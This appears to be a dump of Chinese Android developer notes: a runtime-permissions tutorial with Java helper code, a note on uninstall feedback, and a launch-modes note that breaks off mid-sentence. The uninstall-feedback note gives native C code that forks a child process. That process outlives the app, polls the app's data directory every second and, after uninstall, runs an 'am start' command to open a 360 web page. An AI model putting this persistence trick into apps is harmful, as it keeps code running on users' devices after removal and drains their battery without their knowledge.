\n\n\n在所有的`Android`版本中，你的应用都需要在`manifest`文件中声明`normal`和`dangerous`权限。然而声明所影响的效果会因系统版本和你应用的`target SDK lever`有关:     \n\n- 如果设备运行的是`Android 5.1`或者之前的系统，或者应用的`targetSdkVersion`是22或者之前版本：如果你在`manifest`中声明了`dangerous permission`，用户需要在安装应用时授权这些权限。如果用户不授权这些权限，系统就不会安装该应用。(我试了下发现即使`targetSdkVersion`是22及以下，在6.0的手机上时，如果你安装时你不同意一些权限，也仍然可以安装的)  \n- 如果设备运行的是`Android 6.0`或者更高的系统，并且你应用的`targetSdkVersion`是23或者更高:应用必须在`manifest`文件中申请这些权限，而且必须要在运行时对所需要的`dangerous permission`申请授权。用户可以统一或者拒绝授权，并且及时用户拒绝了授权，应用在无法使用一些功能的情况下也要保证能继续运行。     \n\n也就是说新的运行时权限仅当我们设置`targetSdkVersion`是23及以上时才会起作用。      \n如果你的`targtSdkVersion`低于23，那将被认为该应用没有经过`android 6.0`的测试，当该应用被安装到了6.0的手机上时，仍然会使用之前的旧权限规则，在安装时会提示所有需要的权限(这样做是有道理的，不然对于之前开发的应用，我们都要立马去修改让它适应6.0，来不及的话就导致6.0的手机都无法使用了，显然Android开发团队不会考虑不到这种情况)，当然用户可以在安装的界面不允许一些权限，那当程序使用到了这些权限时，会崩溃吗？答案是在`Android 6.0`及以上的手机会直接`crash`，但是在`23`之前的手机上不会`crash`。     \n\n所以如果你的应用没有支持运行时权限的功能，那千万不要讲`targetSdkVersion`设置为23，否则就麻烦了。  \n\n> 注意:从`Android 6.0(API Level 23)`开始，即使应用的`targetSdkVersion`是比较低的版本，但是用户仍然可以在任何时候撤销对应用的授权。所以不管应用的`targetSdkVerison`是什么版本，你都要测试你的应用在不能获取权限时能不能正常运行。 \n\n下面介绍下如何使用`Android Support Library`来检查和请求权限。`Android`框架在`6.0`开始也提供了相同的方法。然而使用`support`包会比较简单，因为这样你就不需要在请求方法时判断当前的系统版本。(后面说的这几个类都是`android.support.v4`中的)    \n\n### 检查权限    \n\n如果应用需要使用`dangerous permission`，在任何时候执行需要该权限的操作时你都需要检查是否已经授权。用户可能会经常取消授权，所以即使昨天应用已经使用了摄像头，这也不能保证今天仍然有使用摄像头的权限。    \n\n为了检查是否可以使用该权限，调用`ContextCompat.checkSelfPermission()`。   \n例如:    \n```java\n// Assume thisActivity is the current activity\nint permissionCheck = ContextCompat.checkSelfPermission(thisActivity,\n        Manifest.permission.WRITE_CALENDAR);\n```\n如果应用有该权限，该方法将返回`PackageManager.PERMISSION_GRANTED`，应用可以进行相关的操作。如果应用不能使用该权限，该方法将返回`PERMISSION_DENIED`，这是应用将必须要向用户申请该权限。    \n\n\n### 申请使用权限\n\n如果应用需要使用清单文件中申明的`dangerous permission`，它必须要向用户申请来授权。`Android`提供了几种申请授权的方法。使用这些方法时将会弹出一个标准的系统对话框，该对话框不能自定义。     \n\n##### 说明为什么应用需要使用这些权限      \n\n在一些情况下，你可能需要帮助用力理解为什么需要该权限。例如，一个用户使用了一个照相的应用，用户不会奇怪为什么应用申请使用摄像头的权限，但是用户可能会不理解为什么应用需要获取位置或者联系人的权限。在请求一个权限之前，你需要该用户一个说明。一定要切记不要通过说明来压倒用户。如果你提供了太多的说明，用户可能会感觉沮丧并且会卸载它。   \n\n一个你需要提供说明的合适时机就是在用户之前已经不同意授权该权限的情况下。如果一个用户继续尝试使用需要权限的功能时，但是之前确禁止了该权限的请求，这就可能是因为用户不理解为什么该功能需要使用该权限。在这种情况下，提供一个说明是非常合适的。  \n\n为了能找到用户可能需要说明的情况，`android`提供了一个工具类方法`ActivityCompat.shouldShowRequestPermissionRationale().`。如果应用之前申请了该权限但是用户拒绝授权后该方法会返回`true`。(在Android 6.0之前调用的时候会直接返回false)     \n\n> 注意:如果用户之前拒绝了权限申请并且选择了请求权限对话框中的`Don’t ask again`选项，该方法就会返回`false`。如果设备策略禁止了该应用使用该权限，该方法也会返回`false`。(我测试的时候发现请求权限的对话框中并没有`Don’t asdk again`这一项)\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/request_permission_dialog.png?raw=true\" width=\"100%\" height=\"100%\">\n\n##### 申请需要的权限      \n\n如果应用没有所需的权限时，应用必须调用`ActivityCompat.requestPermissions (Activity activity, \n                String[] permissions, \n                int requestCode)`方法来申请对用的权限。参数传递对应所需的权限以及一个整数型的`request code`来标记该权限申请。 该方法是异步的:该方法会立即返回，在用户响应了请求权限的对话框之后，系统会调用对用的回调方法来通知结果，并且会传递在`reqeustPermissions()`方法中的`request code`。(在Android 6.0之前调用的时候会直接去调用`onRequestPermissionsResult()`的回调方法)         \n如图:    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/requestpermission.jpg?raw=true)  \n\n\n下面是检查是否读取联系人权限，并且在必要时申请权限的代码:    \n\n```java\n// Here, thisActivity is the current activity\nif (ContextCompat.checkSelfPermission(thisActivity,\n                Manifest.permission.READ_CONTACTS)\n        != PackageManager.PERMISSION_GRANTED) {\n\n    // Should we show an explanation?\n    if (ActivityCompat.shouldShowRequestPermissionRationale(thisActivity,\n            Manifest.permission.READ_CONTACTS)) {\n\n        // Show an expanation to the user *asynchronously* -- don't block\n        // this thread waiting for the user's response! After the user\n        // sees the explanation, try again to request the permission.\n\n    } else {\n\n        // No explanation needed, we can request the permission.\n\n        ActivityCompat.requestPermissions(thisActivity,\n                new String[]{Manifest.permission.READ_CONTACTS},\n                MY_PERMISSIONS_REQUEST_READ_CONTACTS);\n\n        // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an\n        // app-defined int constant. The callback method gets the\n        // result of the request.\n    }\n}\n```\n\n> 注意:当调用`requestPermissions()`方法时，系统会显示一个标准的对话框。应用不能指定或者改变该对话框。如果你想提供一些信息或者说明给用户，你需要在调用`requestPermissions()`之前处理。    \n\n##### 处理请求权限的的结果     \n\n如果应用申请权限，系统会显示一个对话框。当用户相应后，系统会调用应用中的`onRequestPermissionsResult (int requestCode, \n                String[] permissions, \n                int[] grantResults)`方法并传递用户的操作结果。在应用中必须要重写该方法来查找授权了什么权限。该回调方法会传递你在`requestPermisssions()`方法中传递的`request code`。直接在`Activity`或者`Fragment`中重写`onRequestPermissionsResult()`方法即可。例如，申请`READ_CONTACTS`的权限可能会有下面的回到方法:     \n\n```java\n@Override\npublic void onRequestPermissionsResult(int requestCode,\n        String permissions[], int[] grantResults) {\n    switch (requestCode) {\n        case MY_PERMISSIONS_REQUEST_READ_CONTACTS: {\n            // If request is cancelled, the result arrays are empty.\n            if (grantResults.length > 0\n                && grantResults[0] == PackageManager.PERMISSION_GRANTED) {\n\n                // permission was granted, yay! Do the\n                // contacts-related task you need to do.\n\n            } else {\n\n                // permission denied, boo! Disable the\n                // functionality that depends on this permission.\n            }\n            return;\n        }\n\n        // other 'case' lines to check for other\n        // permissions this app might request\n    }\n}\n\n```\n\n系统提示的对话框会描述应用所需的`permission groud`。它不会列出特定的权限。例如，如果你申请了`READ_CONTACTS`权限，系统的对话框只会说你的应用需要获取设备的联系人信息。用户只需要授权每个`permission group`一次。如果你应用需要申请其他任何一个在该`permission group`中的权限时，系统会自动授权。在申请这些授权时，系统会像用户明确通过系统对话框统一授权时一样去调用`onRequestPermissionsResult()`方法并且传递`PERMISSION_GRANTED`参数。    \n\n> 注意:虽然用户已经授权了同一`permission group`中其他的任何权限，但是应用仍然需要明确申请每个需要的权限。例外，`permission group`中的权限在以后可能会发生变化。    \n\n例如，假设在应用的`manifest`文件中同时声明了`READ_CONTACTS`和`WRITE_CONTACTS`权限。如果你申请`READ_CONTACTS`权限而且用户同意了该权限，如果你想继续申请`WRITE_CONTACTS`权限，系统不会与用户有任何交互就会直接进行授权。     \n\n如果用户拒绝了一个权限申请，你的应用进行合适的处理。例如，你的应用可能显示一个对话框来表明无法执行用户请求的需要该权限的操作。\n\n如果系统向用户申请权限授权，用户选择了让系统以后不要再申请该权限。 在这种情况下，应用在任何时间调用`reqeustPermissions()`方法来再次申请权限时，系统都会直接拒绝该请求。系统会直接调用`onRequestPermissionResult()`回调方法并且传递`PERMISSION_DENIED`参数，和用户明确拒绝应用申请该权限时一样。 这就意味着在你调用`requestPermissions()`方法是，你无法确定是否会和用户有直接的交互操作。   \n\n\n示例代码:     \n```java\n\nfinal private int REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS = 124;\n  \nprivate void insertDummyContactWrapper() {\n    List<String> permissionsNeeded = new ArrayList<String>();\n  \n    final List<String> permissionsList = new ArrayList<String>();\n    if (!addPermission(permissionsList, Manifest.permission.ACCESS_FINE_LOCATION))\n        permissionsNeeded.add(\"GPS\");\n    if (!addPermission(permissionsList, Manifest.permission.READ_CONTACTS))\n        permissionsNeeded.add(\"Read Contacts\");\n    if (!addPermission(permissionsList, Manifest.permission.WRITE_CONTACTS))\n        permissionsNeeded.add(\"Write Contacts\");\n  \n    if (permissionsList.size() > 0) {\n        if (permissionsNeeded.size() > 0) {\n            // Need Rationale\n            String message = \"You need to grant access to \" + permissionsNeeded.get(0);\n            for (int i = 1; i < permissionsNeeded.size(); i++)\n                message = message + \", \" + permissionsNeeded.get(i);\n            showMessageOKCancel(message,\n                    new DialogInterface.OnClickListener() {\n                        @Override\n                        public void onClick(DialogInterface dialog, int which) {\n                            requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),\n                                    REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);\n                        }\n                    });\n            return;\n        }\n        requestPermissions(permissionsList.toArray(new String[permissionsList.size()]),\n                REQUEST_CODE_ASK_MULTIPLE_PERMISSIONS);\n        return;\n    }\n  \n    insertDummyContact();\n}\n  \nprivate boolean addPermission(List<String> permissionsList, String permission) {\n    if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) {\n        permissionsList.add(permission);\n        // Check for Rationale Option\n        if (!shouldShowRequestPermissionRationale(permission))\n            return false;\n    }\n    return true;\n}\n```\n\n\n上面讲到的都是`Activity`中的使用方法，那`Fragment`中怎么授权呢？\n如果在`Fragment`中使用，用`v13`包中的`FragmentCompat.requestPermissions()`和`FragmentCompat.shouldShowRequestPermissionRationale()`。 \n\n\n\n在`Fragment`中申请权限，不要使用`ActivityCompat.requestPermissions`, 直接使用`Fragment.requestPermissions`方法，\n否则会回调到`Activity`的`onRequestPermissionsResult`。但是虽然你使用`Fragment.requestPermissions`方法，也照样回调不到`Fragment.onRequestPermissionsResult`中。这是`Android`的`Bug`,[详见](https://code.google.com/p/android/issues/detail?can=2&start=0&num=100&q=&colspec=ID%20Status%20Priority%20Owner%20Summary%20Stars%20Reporter%20Opened&groupby=&sort=&id=189121)，`Google`已经在`23.3.0`修复了该问题，所以要尽快升级。\n\n所以升级到`23.3.0`及以上就没问题了。如果不升级该怎么处理呢？就是在`Activity.onRequestPermissionsResult`方法中去手动调用每个`Fragment`的方法(当然你要判断下权限个数，不然申请一个权限的情况下会重复调用).    \n```java\n@Override\npublic void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {\n    super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n    List<Fragment> fragments = getSupportFragmentManager().getFragments();\n    if (fragments != null) {\n        for (Fragment fragment : fragments) {\n            fragment.onRequestPermissionsResult(requestCode, permissions, grantResults);\n        }\n    }\n}\n```\n\n我简单的写了一个工具类:    \n\n```java\npublic class PermissionUtil {\n    /**\n     * 在调用需要权限的功能时使用该方法进行检查。\n     *\n     * @param activity\n     * @param requestCode\n     * @param iPermission\n     * @param permissions\n     */\n    public static void checkPermissions(Activity activity, int requestCode, IPermission iPermission, String... permissions) {\n        handleRequestPermissions(activity, requestCode, iPermission, permissions);\n    }\n\n    public static void checkPermissions(Fragment fragment, int requestCode, IPermission iPermission, String... permissions) {\n        handleRequestPermissions(fragment, requestCode, iPermission, permissions);\n    }\n\n    public static void checkPermissions(android.app.Fragment fragment, int requestCode, IPermission iPermission, String... permissions) {\n        handleRequestPermissions(fragment, requestCode, iPermission, permissions);\n    }\n\n    /**\n     * 在Actvitiy或者Fragment中重写onRequestPermissionsResult方法后调用该方法。\n     *\n     * @param activity\n     * @param requestCode\n     * @param permissions\n     * @param grantResults\n     * @param iPermission\n     */\n    public static void onRequestPermissionsResult(Activity activity, int requestCode, String[] permissions,\n                                                  int[] grantResults, IPermission iPermission) {\n        requestResult(activity, requestCode, permissions, grantResults, iPermission);\n\n    }\n\n    public static void onRequestPermissionsResult(Fragment fragment, int requestCode, String[] permissions,\n                                                  int[] grantResults, IPermission iPermission) {\n        requestResult(fragment, requestCode, permissions, grantResults, iPermission);\n    }\n\n    public static void onRequestPermissionsResult(android.app.Fragment fragment, int requestCode, String[] permissions,\n                                                  int[] grantResults, IPermission iPermission) {\n        requestResult(fragment, requestCode, permissions, grantResults, iPermission);\n    }\n\n    public static <T> void requestPermission(T t, int requestCode, String... permission) {\n        List<String> permissions = new ArrayList<>();\n        for (String s : permission) {\n            permissions.add(s);\n        }\n        requestPermissions(t, requestCode, permissions);\n    }\n\n    /**\n     * 在检查权限后自己处理权限说明的逻辑后调用该方法，直接申请权限。\n     *\n     * @param t\n     * @param requestCode\n     * @param permissions\n     * @param <T>\n     */\n    public static <T> void requestPermission(T t, int requestCode, List<String> permissions) {\n        if (permissions == null || permissions.size() == 0) {\n            return;\n        }\n        requestPermissions(t, requestCode, permissions);\n    }\n\n    public static boolean checkSelfPermission(Context context, String permission) {\n        if (context == null || TextUtils.isEmpty(permission)) {\n            throw new IllegalArgumentException(\"invalidate params: the params is null !\");\n        }\n\n        context = context.getApplicationContext();\n\n        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {\n            int result = ContextCompat.checkSelfPermission(context, permission);\n            if (PackageManager.PERMISSION_DENIED == result) {\n                return false;\n            }\n        }\n\n        return true;\n    }\n\n    private static <T> void handleRequestPermissions(T t, int requestCode, IPermission iPermission, String... permissions) {\n        if (t == null || permissions == null || permissions.length == 0) {\n            throw new IllegalArgumentException(\"invalidate params\");\n        }\n        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {\n            Activity activity = getActivity(t);\n            List<String> deniedPermissions = getDeniedPermissions(activity, permissions);\n            if (deniedPermissions != null && deniedPermissions.size() > 0) {\n\n                List<String> rationalPermissions = new ArrayList<>();\n                for (String deniedPermission : deniedPermissions) {\n                    if (ActivityCompat.shouldShowRequestPermissionRationale(activity,\n                            deniedPermission)) {\n                        rationalPermissions.add(deniedPermission);\n                    }\n                }\n\n                boolean showRational = false;\n                if (iPermission != null) {\n                    showRational = iPermission.showRational(requestCode);\n                }\n\n                if (rationalPermissions.size() > 0 && showRational) {\n                    if (iPermission != null) {\n                        iPermission.onRational(requestCode, deniedPermissions);\n                    }\n                } else {\n                    requestPermissions(t, requestCode, deniedPermissions);\n                }\n            } else {\n                if (iPermission != null) {\n                    iPermission.onGranted(requestCode);\n                }\n            }\n        } else {\n            if (iPermission != null) {\n                iPermission.onGranted(requestCode);\n            }\n        }\n    }\n\n    @Nullable\n    private static <T> Activity getActivity(T t) {\n        Activity activity = null;\n        if (t instanceof Activity) {\n            activity = (Activity) t;\n        } else if (t instanceof Fragment) {\n            activity = ((Fragment) t).getActivity();\n        } else if (t instanceof android.app.Fragment) {\n            activity = ((android.app.Fragment) t).getActivity();\n        }\n        return activity;\n    }\n\n    @TargetApi(Build.VERSION_CODES.M)\n    private static <T> void requestPermissions(T t, int requestCode, List<String> deniedPermissions) {\n        if (deniedPermissions == null || deniedPermissions.size() == 0) {\n            return;\n        }\n        // has denied permissions\n        if (t instanceof Activity) {\n            ((Activity) t).requestPermissions(deniedPermissions.toArray(new String[deniedPermissions.size()]), requestCode);\n        } else if (t instanceof Fragment) {\n            ((Fragment) t).requestPermissions(deniedPermissions.toArray(new String[deniedPermissions.size()]), requestCode);\n        } else if (t instanceof android.app.Fragment) {\n            ((android.app.Fragment) t).requestPermissions(deniedPermissions.toArray(new String[deniedPermissions.size()]), requestCode);\n        }\n    }\n\n    private static List<String> getDeniedPermissions(Context context, String... permissions) {\n        if (context == null || permissions == null || permissions.length == 0) {\n            return null;\n        }\n        List<String> denyPermissions = new ArrayList<>();\n        for (String permission : permissions) {\n            if (!checkSelfPermission(context, permission)) {\n                denyPermissions.add(permission);\n            }\n        }\n        return denyPermissions;\n    }\n\n\n    private static <T> void requestResult(T t, int requestCode, String[] permissions,\n                                          int[] grantResults, IPermission iPermission) {\n        List<String> deniedPermissions = new ArrayList<>();\n        for (int i = 0; i < grantResults.length; i++) {\n            if (grantResults[i] != PackageManager.PERMISSION_GRANTED) {\n                deniedPermissions.add(permissions[i]);\n            }\n        }\n        if (deniedPermissions.size() > 0) {\n            if (iPermission != null) {\n                iPermission.onDenied(requestCode);\n            }\n        } else {\n            if (iPermission != null) {\n                iPermission.onGranted(requestCode);\n            }\n        }\n    }\n\n}\n\ninterface IPermission {\n    void onGranted(int requestCode);\n\n    void onDenied(int requestCode);\n\n    void onRational(int requestCode, List<String> permissions);\n\n    /**\n     * 是否需要提示用户该权限的作用，提示后需要再调用requestPermission()方法来申请。\n     *\n     * @return true 为提示，false为不提示\n     */\n    boolean showRational(int requestCode);\n}\n\n```\n\n使用方法:    \n```java\npublic class MainFragment extends Fragment implements View.OnClickListener {\n    private Button mReqCameraBt;\n    private Button mReqContactsBt;\n    private Button mReqMoreBt;\n\n    @Nullable\n    @Override\n    public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {\n        View view = inflater.inflate(R.layout.fragment_main, container, false);\n        findView(view);\n        initView();\n        return view;\n    }\n\n    private void findView(View view) {\n        mReqCameraBt = (Button) view.findViewById(R.id.bt_requestCamera);\n        mReqContactsBt = (Button) view.findViewById(R.id.bt_requestContacts);\n        mReqMoreBt = (Button) view.findViewById(R.id.bt_requestMore);\n    }\n\n    private void initView() {\n        mReqCameraBt.setOnClickListener(this);\n        mReqContactsBt.setOnClickListener(this);\n        mReqMoreBt.setOnClickListener(this);\n    }\n\n\n    public static final int REQUEST_CODE_CAMERA = 0;\n    public static final int REQUEST_CODE_CONTACTS = 1;\n    public static final int REQUEST_CODE_MORE = 2;\n\n    @Override\n    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n        PermissionUtil.onRequestPermissionsResult(this, requestCode, permissions, grantResults, mPermission);\n    }\n\n    public void requestCamera() {\n        PermissionUtil.checkPermissions(this, REQUEST_CODE_CAMERA, mPermission, Manifest.permission.CAMERA);\n    }\n\n    public void requestReadContacts() {\n        PermissionUtil.checkPermissions(this, REQUEST_CODE_CONTACTS, mPermission, Manifest.permission.READ_CONTACTS);\n    }\n\n    public void requestMore() {\n        PermissionUtil.checkPermissions(this, REQUEST_CODE_MORE, mPermission, Manifest.permission.READ_CONTACTS, Manifest.permission.READ_CALENDAR, Manifest.permission.CALL_PHONE);\n    }\n\n    private void showPermissionTipDialog(final int requestCode, final List<String> permissions) {\n        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());\n        builder.setMessage(\"I want you permissions\");\n        builder.setTitle(\"Hello Permission\");\n        builder.setPositiveButton(\"确认\", new DialogInterface.OnClickListener() {\n            @Override\n            public void onClick(DialogInterface dialog, int which) {\n                dialog.dismiss();\n                PermissionUtil.requestPermission(MainFragment.this, requestCode, permissions);\n            }\n        });\n        builder.setNegativeButton(\"取消\", new DialogInterface.OnClickListener() {\n            @Override\n            public void onClick(DialogInterface dialog, int which) {\n                dialog.dismiss();\n            }\n        });\n        builder.create().show();\n    }\n\n    public IPermission mPermission = new IPermission() {\n        @Override\n        public void onGranted(int requestCode) {\n            Toast.makeText(getActivity(), \"onGranted :\" + requestCode, Toast.LENGTH_SHORT).show();\n        }\n\n        @Override\n        public void onDenied(int requestCode) {\n            Toast.makeText(getActivity(), \"onDenied :\" + requestCode, Toast.LENGTH_SHORT).show();\n        }\n\n        @Override\n        public void onRational(int requestCode, List<String> permission) {\n            showPermissionTipDialog(requestCode, permission);\n        }\n\n        @Override\n        public boolean showRational(int requestCode) {\n            switch (requestCode) {\n                case REQUEST_CODE_MORE:\n                    return true;\n\n                default:\n                    break;\n            }\n            return false;\n        }\n    };\n\n    @Override\n    public void onClick(View v) {\n        int id = v.getId();\n        switch (id) {\n            case R.id.bt_requestCamera:\n                requestCamera();\n                break;\n            case R.id.bt_requestContacts:\n                requestReadContacts();\n                break;\n            case R.id.bt_requestMore:\n                requestMore();\n                break;\n        }\n    }\n}\n\n```\n\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Android卸载反馈.md",
    "content": "Android卸载反馈\n===\n\n最初记得是在360安全卫士中出现的，在手机上卸载他的应用之后浏览器就会弹出一个反馈页面，让用户进行反馈，感觉这种功能对于产品改进特别有帮助。\n但是仔细一想该怎么去实现却犯愁了，最开始想这也简单啊，不就是监听下自身被卸载就可以了，应该系统会有卸载的广播，可惜没有。甚至其他的一些\n方法也是不行的，因为你程序都被卸载了，你的代码怎么会执行呢？皮之不存，毛将焉附。那360是怎样实现的呢？说句真心话360做的产品还是非常有创新\n的，虽然有些时候他会损坏用户的利益，不过但从技术方面，着实让人信服。\n\n既然`Java`实现不了，那就得考虑下其他的了，自然最先想到的就是`JNI`了，可惜`C`的部分不懂，上网搜了很多资料和介绍，找得到可以通过一下方式实现:   \n- 通过`c`中的`fork`方法来复制一个子进程。复制出来的子进程在父进程被销毁后，仍然可以存在。\n    `pid_t fpid = fork()`被调用前，就一个进程执行该段代码，这条语句执行之后，就会有两个进程执行该代码，两个进程执行没有固定先后顺序，只要看\n\t系统调度策略，`fork()`函数的特别之处在于调用一次会返回两次结果：   \n\t    - 返回值大于0，当前是父进程。\n\t\t- 返回0，当前是子进程。\n\t\t- 返回小于0的负值。(出错了，可能是内存不足或者是进程数已经达到系统最大值)\n\n- `fork`出子进程后让子进程一直去监听`/data/data/packageName`是否存在，如果不存在了，那就说明程序被卸载了，但是这样一直去轮训判断肯定会浪费\n    系统资源的，当然也会更加费电，对用户来讲肯定是有损害的。所以这种技术最好也不好用，不然大家的手机以后还能了得。万恶的产品。\n\n- 得到程序被卸载之后弹出浏览器打开指定反馈页面。这就要用到`am`命令了，最早知道这个命令是在开发`TV`版的时候，遥控器找不到了，程序安装后无法\n   打开了，用该命令就不怕了，哈哈。但是在`c`中怎么执行`am`命令呢？这就要用到`execlp()`函数，该函数就是`c`中执行系统命令的函数。\n   \n\n好了，主要的内容上面都分析完了，下面上代码。\n\n- `Java`层定义`natvie`方法。   \n```java\npublic class MainActivity extends Activity {\n\tprivate static final String TAG = \"@@@\";\n\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\tsuper.onCreate(savedInstanceState);\n\t\tsetContentView(R.layout.activity_main);\n\t\tString packageDir = \"/data/data/\" + getPackageName();\n\t\tinitUninstallFeedback(packageDir, Build.VERSION.SDK_INT);\n\t}\n\n\tprivate native void initUninstallFeedback(String packagePath, int sdkVersion);\n\n\tstatic {\n\t\tSystem.loadLibrary(\"uninstall_feedback\");\n\t}\n}\n```\n\n- 创建jni目录，增加`Android.mk`以及`uninstall_feedback.c`文件。\n`Android.mk`的内容:\n\n```c\nLOCAL_PATH := $(call my-dir)\n\ninclude $(CLEAR_VARS)\n\nLOCAL_MODULE    := uninstall_feedback\nLOCAL_SRC_FILES := uninstall_feedback.c\n\nLOCAL_C_INCLUDES := $(LOCAL_PATH)/include\nLOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog\n\ninclude $(BUILD_SHARED_LIBRARY)\n```\n\n`uninstall_feedback.c`的实现: \n\n```c\n/**\n * 将Java中的String转换成c中的char字符串\n */\nchar* Jstring2CStr(JNIEnv* env, jstring jstr) {\n\tchar* rtn = NULL;\n\tjclass clsstring = (*env)->FindClass(env, \"java/lang/String\"); //String\n\tjstring strencode = (*env)->NewStringUTF(env, \"GB2312\"); // 得到一个java字符串 \"GB2312\"\n\tjmethodID mid = (*env)->GetMethodID(env, clsstring, \"getBytes\",\n\t\t\t\"(Ljava/lang/String;)[B\"); //[ String.getBytes(\"gb2312\");\n\tjbyteArray barr = (jbyteArray)(*env)->CallObjectMethod(env, jstr, mid,\n\t\t\tstrencode); // String .getByte(\"GB2312\");\n\tjsize alen = (*env)->GetArrayLength(env, barr); // byte数组的长度\n\tjbyte* ba = (*env)->GetByteArrayElements(env, barr, JNI_FALSE);\n\tif (alen > 0) {\n\t\trtn = (char*) malloc(alen + 1); //\"\"\n\t\tmemcpy(rtn, ba, alen);\n\t\trtn[alen] = 0;\n\t}\n\t(*env)->ReleaseByteArrayElements(env, barr, ba, 0); //\n\treturn rtn;\n}\n\nvoid Java_com_charon_uninstallfeedback_MainActivity_initUninstallFeedback(\n\t\tJNIEnv* env, jobject thiz, jstring packageDir, jint sdkVersion) {\n\n\tchar * pd = Jstring2CStr(env, packageDir);\n\n\t//fork子进程，以执行轮询任务\n\tpid_t pid = fork();\n\n\tif (pid < 0) {\n\t\t// fork失败了\n\t} else if (pid == 0) {\n\t\t// 可以一直采用一直判断文件是否存在的方式去判断，但是这样效率稍低，下面使用监听的方式，死循环，每个一秒判断一次，这样太浪费资源了。\n\t\tint check = 1;\n\t\twhile (check) {\n\t\t\tFILE* file = fopen(pd, \"rt\");\n\t\t\tif (file == NULL) {\n\t\t\t\tif (sdkVersion >= 17) {\n\t\t\t\t\t// Android4.2系统之后支持多用户操作，所以得指定用户\n\t\t\t\t\texeclp(\"am\", \"am\", \"start\", \"--user\", \"0\", \"-a\",\n\t\t\t\t\t\t\t\"android.intent.action.VIEW\", \"-d\",\n\t\t\t\t\t\t\t\"http://shouji.360.cn/web/uninstall/uninstall.html\",\n\t\t\t\t\t\t\t(char*) NULL);\n\t\t\t\t} else {\n\t\t\t\t\t// Android4.2以前的版本无需指定用户\n\t\t\t\t\texeclp(\"am\", \"am\", \"start\", \"-a\",\n\t\t\t\t\t\t\"android.intent.action.VIEW\", \"-d\",\n\t\t\t\t\t\t\t\"http://shouji.360.cn/web/uninstall/uninstall.html\",\n\t\t\t\t\t\t\t(char*) NULL);\n\t\t\t\t}\n\t\t\t\tcheck = 0;\n\t\t\t} else {\n\t\t\t}\n\t\t\tsleep(1);\n\t\t}\n\t} else {\n\t}\n}\n\n```\n\n- 编译so文件。`Windows`下要用`cygwin`来操作。\n上面的介绍是在`Eclipse`中进行的，用`ndk-build`命令来编译`so`。具体请看之前写的`JNI基础`这篇文章。\n\n有关如何在[Android Stuido中进行ndk开发请看][1]。\n   \t\t\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/AndroidStudioCourse/AndroidStudio%E4%B8%AD%E8%BF%9B%E8%A1%8Cndk%E5%BC%80%E5%8F%91.md \"Android Stuido中进行ndk开发\"\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Android启动模式详解.md",
    "content": "Android启动模式详解\n===\n\n- `standard`    \n    默认模式。在该模式下，`Activity`可以拥有多个实例，并且这些实例既可以位于同一个`task`，也可以位于不同的`task`。每次都会新创建。\n- `singleTop`        \n    该模式下，在同一个`task`中，如果存在该`Activity`的实例，并且该`Activity`实例位于栈顶则不会创建该`Activity`的示例,而仅仅只是调用`Activity`的`onNewIntent()`。否则的话，则新建该`Activity`的实例，并将其置于栈顶。\n- `singleTask`     \n    顾名思义，只容许有一个包含该`Activity`实例的`task`存在！\n    在`android`浏览器`browser`中，`BrowserActivity`的`launcherMode=\"singleTask\"`，因为`browser`不断地启动自己，所以要求这个栈中保持只能有一个自己的实例，`browser`上网的时候，\n\t遇到播放视频的链接，就会通过隐式`intent`方式跳转找`Gallery3D`中的`MovieView`这个类来播放视频，这时候如果你点击`home`键，再点击`browser`，你会发现`MovieView`这个类已经销毁不存在了，\n\t而不会像保存这个`MovieView`的类对象，给客户带来的用户体验特别的不好。就像别人总结的`singleTask`模式的`Activity`不管是位于栈顶还是栈底，再次运行这个`Activity`时，都会`destory`掉它上面的`Activity`来保证整个栈中只有一个自己。                   \n    下面是官方文档中的介绍:      \n    `The system creates a new task and instantiates the activity at the root of the new task. However, if an instance of the activity already exists in a separate task, the system routes the intent to the existing \n\tinstance through a call to its onNewIntent() method, rather than creating a new instance. Only one instance of the activity can exist at a time.`\n    以`singleTask`方式启动的`Activity`，全局只有唯一个实例存在，因此，当我们第一次启动这个`Activity`时，系统便会创建一个新的任务栈，并且初始化一个`Activity`实例，放在新任务栈的底部，如果下次再启动这个`Activity`时，\n\t系统发现已经存在这样的`Activity`实例，就会调用这个`Activity`实例的`onNewIntent`方法，从而把它激活起来。从这句话就可以推断出，以`singleTask`方式启动的`Activity`总是属于一个任务栈的根`Activity`。\n    下面我们看一下示例图:　\n    ![image](https://github.com/CharonChui/Pictures/blob/master/singletask.gif?raw=true)          \n     坑爹啊！有木有！前面刚说`singleTask`会在新的任务中运行，并且位于任务堆栈的底部，这里在`Task B`中，一个赤裸裸的带着`singleTask`标签的箭头无情地指向`Task B`堆栈顶端的`Activity Y`，什么鬼？               \n这其实是和`taskAffinity`有关，在将要启动时，系统会根据要启动的`Activity`的`taskAffinity`属性值在系统中查找这样的一个`Task`：`Task`的`affinity`属性值与即将要启动的`Activity`的`taskAffinity`属性值一致。如果存在，\n就返回这个`Task`堆栈顶端的`Activity`回去，不重新创建任务栈了，再去启动另外一个`singletask`的`activity`时就会在跟它有相同`taskAffinity`的任务中启动，并且位于这个任务的堆栈顶端，于是，前面那个图中，\n就会出现一个带着`singleTask`标签的箭头指向一个任务堆栈顶端的`Activity 